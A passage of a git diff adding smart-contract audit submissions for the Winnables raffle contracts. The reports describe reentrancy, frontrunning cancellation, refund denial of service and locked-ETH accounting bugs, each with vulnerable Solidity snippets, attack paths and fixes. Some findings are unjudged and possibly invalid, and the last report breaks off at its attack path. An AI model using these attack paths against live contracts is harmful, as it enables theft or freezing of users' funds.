IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (currentTicketSold == 0) revert NoParticipants(); + + if (block.timestamp < raffle.endsAt) { + if (currentTicketSold < raffle.maxTicketSupply) revert RaffleIsStillOpen(); + } + if (currentTicketSold < raffle.minTicketsThreshold) revert TargetTicketsNotReached(); +} +``` +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434 +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); // Issue: Incorrect logic for cancellation +} +``` + +## Tool Used + +Manual Review + +## Recommendation + +To accurately reflect the conditions where a raffle should be canceled, modify the logic in the `_checkShouldCancel` function: + +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); // Corrected logic +} +``` + +By ensuring the condition aligns correctly with the intended behavior, we avoid potential cancellation errors and maintain the integrity of the raffle's lifecycle. \ No newline at end of file diff --git a/001/377.md b/001/377.md new file mode 100644 index 0000000..16ba044 --- /dev/null +++ b/001/377.md @@ -0,0 +1,49 @@ +Keen Teal Aphid + +High + +# When a raffle is canceled funds will be stuck in `WinnablesTicketManager` contract. + +### Summary + +When a raffle is canceled with the `cancelRaffle` function, the variable `_lockedETH` is not updated/decreased. +This will leave the funds for that raffle to be stuck in the contract. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L278 + +### Root Cause + +The root cause of the problem is that at no point in the function the `_lockedETH` variable is decreased. +The variable stores funds locked in the contract, for example when `buyTickets` function is called it is updated by the msg.value. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L206 +And in the `withdrawETH` function a calculation is made based on the `_lockedETH` variable. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L303 +Leaving those funds to not be able to be withdrawn and stuck in the contract + +### Internal pre-conditions + +1. An ETHraffle is created. +2. For some reason the raffle is not successful. +3. Someone cancels the raffle. +4. `_lockedETH` variable is not updated. + +### External pre-conditions + +1. Not enough people participate in the raffle and it is eligible for cancelation. +2. A user or admin cancels the raffle. The `cancelRaffle` is external and can be called by anyone. + +### Attack Path + +There is no attack path on this one. +Simply oversight by the devs to not update the variable. + +### Impact + +All of the funds that are stored for the current raffle that is being canceled will be lost! + +### PoC + +_No response_ + +### Mitigation + +Include update to the `_lockedETH` variable inside the `cancelRaffle` function. \ No newline at end of file diff --git a/001/378.md b/001/378.md new file mode 100644 index 0000000..75c0a14 --- /dev/null +++ b/001/378.md @@ -0,0 +1,45 @@ +Lively Coconut Panther + +Medium + +# Attacker Can Cancel The Raffle By FrontRunning A Create Raffle Call + +## Summary + +Attacker can grief every raffle creation and cancel it making it impossible for the admin to create any new raffles. + +## Vulnerability Detail + +1.) Ticket manager receives CCIP message via _ccipReceive() -> this sets the prize to locked i.e. _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L381 + +2.) Then the admin calls createRaffle() which checks if the status is PRIZE_LOCKED + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L264 + +3.) The attacker front runs the above transaction with a call to cancelRaffle() -> since status is PRIZE_LOCKED the check at _checkShouldCancel passes +and raffle status is set to CANCELLED + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +4.) Now when the admin's createRaffle() tx finally executes , it reverts since status is CANCELLED (and it requires status to be PRIZE_LOCKED) + +5.) Therefore , every raffle can be griefed this way and never be created + +## Impact + +Attacker can grief every raffle creation and cancel it making it impossible for the admin to create any new raffles. +The core system logic will be griefed. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L436 + +## Tool used + +Manual Review + +## Recommendation + +Prohibit cancellation when the status is PRIZE_LOCKED \ No newline at end of file diff --git a/001/379.md b/001/379.md new file mode 100644 index 0000000..03ab3fe --- /dev/null +++ b/001/379.md @@ -0,0 +1,69 @@ +Swift Midnight Anteater + +High + +# Missing Check for Claimed Prizes in _cancelRaffle Function in WinnablesPrizeManager Contract + +## Summary + +The `_cancelRaffle` function in the `WinnablesPrizeManager` contract does not check if the raffle prize has already been claimed (`RafflePrizeStatus.CLAIMED`) before executing a cancellation. This issue potentially allows a raffle to be canceled even after the prize has been claimed. + +## Vulnerability Detail + +In the `_cancelRaffle` function, before marking a raffle as canceled and releasing any locked prizes, the function verifies if the raffle is already in the `CANCELED` state to avoid repetitive cancellations. However, it does not verify if the raffle prize has already been claimed, which is indicated by the `RafflePrizeStatus.CLAIMED` status. + +This missing check can lead to a scenario where a claimed prize is mistakenly canceled, unlocking the already claimed prize and potentially leading to double spending of prizes, confusing the prize distribution process, and causing inconsistencies in the raffle's lifecycle management. + +## Impact + +The impact of this issue is significant: +- Claimed prizes can be incorrectly managed, leading to allocation issues and financial losses. +- Unauthorized cancellation of raffles might confuse users and erode trust in the platform's integrity. +- Discrepancies in the raffle's status and prize management can increase the administrative burden to manually resolve these issues. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L280-L294 +```solidity +function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage nftInfo = _nftRaffles[raffleId]; + _nftLocked[nftInfo.contractAddress][nftInfo.tokenId] = false; + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage tokenInfo = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; } + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + } else revert InvalidRaffle(); + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); +} +``` + +## Tool Used + +Manual Review + +## Recommendation + +To prevent the undesired side effects of canceling a raffle with a claimed prize, we should add a check for `RafflePrizeStatus.CLAIMED` in the `_cancelRaffle` function: + +```diff +function _cancelRaffle(uint256 raffleId) internal { + RaffleType raffleType = _rafflePrize[raffleId].raffleType; + if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle(); ++ if (_rafflePrize[raffleId].status == RafflePrizeStatus.CLAIMED) revert InvalidRaffle(); // New Check + if (raffleType == RaffleType.NFT) { + NFTInfo storage nftInfo = _nftRaffles[raffleId]; + _nftLocked[nftInfo.contractAddress][nftInfo.tokenId] = false; + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage tokenInfo = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; } + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + } else revert InvalidRaffle(); + _rafflePrize[raffleId].status = RafflePrizeStatus.CANCELED; + emit PrizeUnlocked(raffleId); +} +``` diff --git a/001/380.md b/001/380.md new file mode 100644 index 0000000..7f58098 --- /dev/null +++ b/001/380.md @@ -0,0 +1,55 @@ +Keen Teal Aphid + +Medium + +# Malicious user can DOS `refundPlayers` function in `WinnablesTicketManager` contract. + +### Summary + +A malicious user that participated in a raffle with a contract can DOS the `refundPlayers` function by implementing a revert in the `fallback` function of the contract he participated in the raffle with. + +### Root Cause + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 +In `WinnablesTicketManager` contract in `refundPlayers` function the contract iterates over the players that participated in a raffle and need to be refunded. For every user that has to be refunded the `_sendETH` function is called. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L224 +This function makes a low level call to the refunded player. +A malicious user can implement a revert statement in his contract that he participated with in a raffle. +This will cause `_sendETH` to revert and `refundPlayers` function to also revert effectively DOS-ing the function. +The protocol will loose gas for the reverting of the function and another refund must be made with different players to refund. + + +### Internal pre-conditions + +1. A raffle is created. +2. Users join the raffle by buying tickets. +3. Raffle does not have sufficient buyer. +4. Raffle is canceled +5. Admin calls `refundPlayers` function with an array of players to be refunded. + +### External pre-conditions + +1. A malicious user uses a contract to enter the raffle that reverts in it's `fallback` function. + +### Attack Path + +1. A raffle is created. +2. Users join the raffle by buying tickets. +3. A malicious user uses a contract to enter the raffle that reverts in it's `fallback` function. +4. Raffle does not have sufficient buyer. +5. Raffle is canceled +6. Admin calls `refundPlayers` function with an array of players to be refunded. + +### Impact + +The protocol will suffer gas loss due to the reverting of the function. +Furthermore the function will not work as intended. + +### PoC + +_No response_ + +### Mitigation + +Best way to mitigate this case is to implement `Pull over Push` pattern to make users withdraw themselves. +A mapping can be used `mapping(address -> uint256) amountToRefund` to store the amount for every address. \ No newline at end of file diff --git a/001/381.md b/001/381.md new file mode 100644 index 0000000..5b2d050 --- /dev/null +++ b/001/381.md @@ -0,0 +1,51 @@ +Scrawny Obsidian Gorilla + +Medium + +# Wrong check in `WinnablesTicketManager:withdrawTokens` leads to non-withrawal of tokens + + +## Summary + +In `WinnablesTicketManager:withdrawTokens`, there is a wrong check in if statement which leads to non-withrawal of tokens. + +## Vulnerability Detail + +Admin should be able to withdraw tokens held by `WinnablesTicketManager` contract with the function named `withdrawTokens`. That is what protocol wants to achieve with `WinnablesTicketManager:withdrawTokens`. + +But there is wrong check which will not allow admin to withdraw tokens less than the balance of tokens of `WinnablesTicketManager` contract. + +```solidity +... +if (amount < balance) revert InsufficientBalance(); +... +``` +Here, it should revert when balance is less than amount but in the code it will revert when amount is less than balance. So when admin will try to withdraw fund less than the balance the function will revert. Below is the flow: +- Suppose there are 1000 A token in the contract. +- Admin wants to withdraw 500 A tokens from the contract. +- So admin calls the `withdrawTokens` with amount - 500 in parameters. +- But in if statement (amount < balance) means (500 < 1000) so it will revert with InsufficientBalance. + +## Impact + +Admin cannot withdraw tokens less than the balance of that token in `WinnablesTicketManager`. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297 + +## Tool used + +Manual Review + +## Recommendation + +```diff +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); ++ if (amount > balance) revert InsufficientBalance(); +- if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/382.md b/001/382.md new file mode 100644 index 0000000..e19bdf7 --- /dev/null +++ b/001/382.md @@ -0,0 +1,52 @@ +Scrawny Obsidian Gorilla + +High + +# Winner can drain locked fund due to re-entrancy in `WinnablesPrizeManager:claimPrize` + +## Summary + +Re-entrancy in `WinnablesPrizeManager:claimPrize` can allow winner of the raffle to drain all the locked fund for other raffles. + +## Vulnerability Detail + +When multiple raffle is created with the same token address as prize and multiple raffle with eth as prize locked, it is possible that one raffle winner contract can claim all the fund with same prize of other raffles. + +In `WinnablesPrizeManager:claimPrize`, CEI pattern is missing and also `nonReentrant()` modifier is not used. Therfore there are two instances where re-entrancy is possible. + +```solodity +... + else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; +@> unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { +@> unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } +... +``` +So if raffles with same token or multiple raffles with eth as prize will cause loss of the fund of the protocol. Here is the flow: +- Suppose there are 5 raffles going on currently with 10 eth each as prize. +- That means there are total 50 eths are locked and eacj raffle winner will get 10 eth as prize. +- Suppose contract A is the winner of one raffle so A should get 10 eth. +- Now contract A can call `WinnablesPrizeManager:claimPrize` and re-enter in it until whole eth locked (i.e. 50) is drained. +- So contract A will get 50 eth instead of 10 eth and protocol will lose their fund. + +Same is applicable for multiple raffles with same token prize. + +## Impact + +All the fund which are locked for the raffle can be drained by winner contract. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation + +Protocol must use `nonReentrant()` modifier of OpenZeppelin `ReentrancyGuard.sol` for `WinnablesPrizeManager:claimPrize`. diff --git a/001/385.md b/001/385.md new file mode 100644 index 0000000..9ea855a --- /dev/null +++ b/001/385.md @@ -0,0 +1,43 @@ +Virtual Ebony Cricket + +Medium + +# Overflow in `mint` Function of `WinnablesTicket.sol` + +## Summary + +In `WinnablesTicket` Contract on `mint` function, the `amount` parameter is an externally controlled value. The unchecked block performs arithmetic operations without overflow checks + +## Vulnerability Detail + +The `mint` function allows the minting of tokens by adjusting the balances and supplies. The function includes an unchecked block where arithmetic operations on user-controlled values `amount` are performed: + +```solidity +function mint(address to, uint256 id, uint256 amount) external onlyRole(1) { + ...... +unchecked { + @> _balances[id][to] += amount; + @> _supplies[id] = startId + amount; +} +``` +Since the operations inside the unchecked block do not include overflow checks, if amount is sufficiently large, it can lead to integer overflow. This could result in incorrect balance or supply values. + + +## Impact + +The potential overflow could have the following impacts: + +- Incorrect Token Balances: Overflow in `_balances[id][to]` may lead to erroneous token balances, allowing users to mint more tokens than intended. +- Supply Tracking Issues: Overflow in `_supplies[id]` could disrupt the tracking of total supply, affecting the contract's overall integrity and potentially enabling further exploits. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L189-L192C + +## Tool used + +Manual Review + +## Recommendation + +do arithmetic operations outside unchecked block for user controlled values \ No newline at end of file diff --git a/001/389.md b/001/389.md new file mode 100644 index 0000000..6b5b852 --- /dev/null +++ b/001/389.md @@ -0,0 +1,81 @@ +Plain Mahogany Vulture + +High + +# H-1: Locked ETH is not updated upon players refund, resulting in permanent stuck funds + +## Summary + +Raffles that fail to meet the minimum ticket threshold can be cancelled, and users are refunded. However, incorrect accounting of locked ETH after refunds results in permanently stuck funds within the contract. +## Vulnerability Detail + +`refundPlayers()` function is expected to distribute back the price players have paid to participate in already cancelled raffle. + +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` + +The `_lockedETH` state variable tracks the ETH received from players purchasing tickets and is reduced when a raffle is won. Its purpose is to determine how much ETH the Admin can withdraw from the contract, ensuring that only ETH from completed raffles is withdrawable. + +```solidity +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); + } + +``` + +In the current implementation, the `refundPlayers()` function does not update the `_lockedFunds` variable after refunding players, resulting in an inconsistent contract state. +`_lockedFunds` will always increase and will not be consistent with the actual balance of the contract. + +The withdrawal amount is calculated using the expression `unchecked {balance = address(this).balance - _lockedETH;}`. If the `_lockedETH` exceeds the contract's current balance (which will happen after the first refund) this subtraction will cause an underflow, leading to `balance` being set to a very large number. As a result, the contract will attempt to transfer more ETH than it actually holds, which will cause the transaction to fail and prevent any withdrawals. This way all ticket fees funds will be forever stuck in the contract. + +## Impact + +Permanent stuck funds. +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300 +## Tool used + +Manual Review + +## Recommendation + +Consider substracting the `_lockedEth` variable in `refundPlayers()` function: + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); ++ _lockedETH -= amountToSend; + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + } + } +``` diff --git a/001/390.md b/001/390.md new file mode 100644 index 0000000..dc598a3 --- /dev/null +++ b/001/390.md @@ -0,0 +1,43 @@ +Docile Daisy Wallaby + +High + +# An attacker will freeze prizes in `WinnablesPrizeManager` by calling `propagateRaffleWinner` with an arbitrary prizeManager address + +### Summary + +Lack of proper access control in the `propagateRaffleWinner` function in `WinnablesTicketManager.sol` will cause an irreversible freeze of prize (ETH / Tokens / NFT) in `WinnablesPrizeManager.sol` as an attacker will call the function with an arbitrary prizeManager address. + +### Root Cause + +In [WinnablesTicketManager.sol:334](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334) the `propagateRaffleWinner` function lacks access control, allowing anyone to call it with arbitrary parameters. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Attack Path +1. An attacker calls `propagateRaffleWinner` with an arbitrary `prizeManager` address and a valid `raffleId`. +2. The function sets the raffle status to `RaffleStatus.PROPAGATED`, preventing the function from being called again for the same raffle. +3. The function sends a CCIP message to the arbitrary `prizeManager` address instead of the intended `WinnablesPrizeManager`. +4. As a result, the `_ccipReceive` function in `WinnablesPrizeManager` is never triggered, causing the winner address to remain unassigned. +5. The locked funds associated with the raffle are unlocked, but the prize cannot be properly claimed as the intended contract never receives the winner information, thus `claimPrize` function in `WinnablesPrizeManager` can never be called for that particular raffle. + + +### Impact + +The users cannot receive their prizes as the `WinnablesPrizeManager` never receives the winner information, effectively freezing the prize distribution. The protocol suffers the loss of functionality for that specific raffle, and the intended raffle outcome is never executed. + +### PoC + +_No response_ + +### Mitigation + +Add appropriate access control to `propagateRaffleWinner` function to ensure that only authorized roles can call it with proper values, or validate the parameters. \ No newline at end of file diff --git a/001/391.md b/001/391.md new file mode 100644 index 0000000..77df2f5 --- /dev/null +++ b/001/391.md @@ -0,0 +1,44 @@ +Huge Fossilized Turtle + +High + +# Malicious user will completely DoS the protocol and waste all LINK tokens of the protocol + +### Summary + +[WinnablesTicketManager::cancelRaffle()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278) calls [WinnablesTicketManager::_checkShouldCancel()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434) to figure out if the ticket should be canceled. In the latter, it returns if the prize is of status `LOCKED`. Prizes are `LOCKED` when they just sent via cross chain message from `WinnablesPrizeManager` to [WinnablesTicketManager::_ccipReceive()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L365). Thus, as soon as the prize becomes `LOCKED`, it's possible to cancel right away and DoS the raffle maliciously. This would cost the protocol 2 (or 3 to send it again) cross chain messages each time: +1. `WinnablesPrizeManager::lockNFT()/ETH()/Tokens()` -> `WinnablesTicketManager::_ccipReceive()` +2. `WinnablesTicketManager::cancelRaffle()` -> `WinnablesPrizeManager::_ccipReceive()` +3. (Optionally) repeat 1 to try to start the raffle + +The admin is the one sponsoring the link tokens so this would be a significant loss and complete DoS. + +### Root Cause + +In `WinnablesTicketManager:436`, it returns if the prize is `LOCKED`, so it may be canceled as soon as it becomes `LOCKED` by a malicious user. + +### Internal pre-conditions + +1. Admin calls `WinnablesPrizeManager::lockNFT()/ETH()/Tokens()` which sends a cross chain message to `WinnablesTicketManager`. +2. The cross chain message in 1 arrives and `WinnablesTicketManager::_ccipReceive()` is called and the prize becomes locked. +3. Malicious users call `WinnablesTicketManager::cancelRaffle()`, canceling the raffle and sending a cross chain message to `WinnablesPrizeManager`. + +### External pre-conditions + +None. + +### Attack Path + +None. + +### Impact + +Complete DoS of the protocol and waste of `LINK` for the protocol. + +### PoC + +`WinnablesTicketManager` can be confirmed to allow canceling a raffle if the prize is `LOCKED`. + +### Mitigation + +This functionality was likely added to allow admins to cancle raffles before users start buying if they wish to. However, the call is permissionless so any malicious user can abuse this and DoS the protocol and waste `LINK`. If the raffle is canceled before it starts, it should be done only by the admin (or the creator of the prize, but this info is not available in `WinnablesTicketManager`), which is fine as the prize is theirs. \ No newline at end of file diff --git a/001/393.md b/001/393.md new file mode 100644 index 0000000..0492128 --- /dev/null +++ b/001/393.md @@ -0,0 +1,39 @@ +Huge Fossilized Turtle + +Medium + +# Malicious users will DoS `WinnablesTicketManager::refundPlayers()` which will stop users from being refunded + +### Summary + +[WinnablesTicketManager::refundPlayers()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) allows users to be refunded in a batch. As confimed by the sponsor, the protocol intends to call the function themselves to refund a significant number of users at a time. However, any player of the raffle may refund themselves before the transaction by the protocol is settled, which will DoS the whole batch. This will cause significant gas losses for the protocol at very little cost for the attacker and temporarily breaks the specification in the [readme](https://github.com/sherlock-audit/2024-08-winnables-raffles-0xsimao/tree/main?tab=readme-ov-file#q-please-discuss-any-design-choices-you-made): +> Participants in a raffle that got cancelled can always get refunded + +### Root Cause + +In `WinnablesTicketManager:221` it reverts if the user was already refunded. + +### Internal pre-conditions + +The raffle is canceled. + +### External pre-conditions + +None. + +### Attack Path + +1. Protocol calls `WinnablesTicketManager::refundPlayers()` with a huge batch. +2. One of the users calls `WinnablesTicketManager::refundPlayers()` for itself before the transaction in point 1 settle and DoSes the protocol. + +### Impact + +The protocol takes a huge gas loss and users are DoSed from their refunds. + +### PoC + +It can be confirmed that `WinnablesTicketManager::refundPlayers()` reverts if the user has already participated. + +### Mitigation + +Instead of reverting, the call should continue in the loop to the next participant. \ No newline at end of file diff --git a/001/397.md b/001/397.md new file mode 100644 index 0000000..6ce6da7 --- /dev/null +++ b/001/397.md @@ -0,0 +1,67 @@ +Merry Sepia Whale + +Medium + +# Tokens with callbacks such as ERC777 when used as raffle prizes expose other unclaimed token prizes in the contract to theft + +## Summary +For tokens with callbacks for example the ERC777 token used as raffle prizes, any winner can implement a reentrancy on their receiving contract to drain the prize manager of such token balances at the time of prize claims stealing from other unclaimed raffle balances. + +## Vulnerability Detail +Attack steps: + +1. Attacker calls `claimPrize` on Prize manager +2. Token contract executes `tokensReceived` on attacker contract +3. Attacker calls `claimPrize` again +4. Repeats the process until the prize manager contract reaches a state where it no longer has sufficient balance +5. The raffle status is then marked as `CLAIMED` and thus other unclaimed prizes are lost to the attacker + +The `tokensReceived` hook of the ERC777 contract happens after the receiver gets the token and since at this time the raffle prizes' status is not yet mutated, they can reenter thus manipulating the update to happen only once at the end of the entire transaction instead of subsequently. + +```solidity +function claimPrize(uint256 raffleId) external { + ... + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +@> if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); // @audit done too late +@> rafflePrize.status = RafflePrizeStatus.CLAIMED; // @audit done too late + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +## Impact +Theft of other unclaimed raffle prizes in the prize manager contract on Ethereum during the exploit. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used +Manual Review + +## Recommendation +Move the checks up top before the if statements: + +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + ... + } else if (raffleType == RaffleType.TOKEN) { + ... + } else if (raffleType == RaffleType.ETH) { + ... + } else revert InvalidRaffle(); + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` \ No newline at end of file diff --git a/001/399.md b/001/399.md new file mode 100644 index 0000000..047c386 --- /dev/null +++ b/001/399.md @@ -0,0 +1,117 @@ +Oblong Eggshell Pelican + +Medium + +# A canceled raffle can draw a winner, and winner can transfer prize NFT and a refund ticket price eth, too. + +### Summary + +Invalid check and early exit from the if branch in `WinnablesTicketManager.sol` internal function `_checkShouldCancel(raffleId)` and missing check if `RaffleStatus is canceled` in both external function `drawWinner(raffleId)` and its helper internal function `_checkShouldDraw(raffleId)` leads to draw the winner for canceled raffle and propagate the winner message through `CCIP` to `WinnablesPrizeManager.sol` where `claimPrize` also doesn't check if `RafflePrize status is canceled` which leads to winner getting the NFT prize and come back to `WinnablesTicketManager.sol` to get the price refund for the ticket from `refundPlayers()` + +### Root Cause + +During the cancellation of the raffle in [WinnablesTicketManager.sol:436](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L436) function returns if a `PRIZE` is locked. The prize is locked first for every valid raffle contest as `RaffleStatus.PRIZE_LOCKED` is set while receiving the `ccip` message [WinnablesTicketManager.sol:381](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L381) Thus leading to pass the validation for every valid raffle and triggering the cancellation message to transmit in [WinnablesTicketManager.sol:282](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L282) Subsequently neither `drawWinner` and it's helper function checks before drawing the winner if `RaffleStaus` is `CANCELED` or not. [drawWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L310) and [_shouldDraw](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L422) + +As the first cancellation message and then the winner is propagated to the `PrizeManager.sol` a winner is set at [WinnablesPrizeManager.sol:275](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L275) and winner can call the `claimPrize` at [WinnablesPrizeManager.sol:105](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105) to get the NFT prize as there is missing check if `RafflePrizeStatus is CANCELED or not` + +Again winner can call the `refundPlayers` [WinnablesTicketManager.sol:215](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215) to get the refund for the ticket purchased which got canceled. + +### Internal pre-conditions + +- Admins in `WinnablesPrizeManager.sol` lock the NFT as a prize. + - Transmits the `CCIP` message + - Admins in `WinnablesTicketManager.sol` creates a new raffle with prize type NFT + + +### External pre-conditions + +- The `raffle.endsAt` must surpass the `block.timestamp` and ticket sales must be higher than `raffle.minTicketsThreshold` to pass the checks inside of `_checkShouldDraw` +- The winner must have purchased the ticket to get the refund else the winner would still get the NFT prize. +- Admin shouldn't withdraw locked tokens as soon as the raffle gets canceled. Some minimal time gap is needed to execute the attack + +### Attack Path 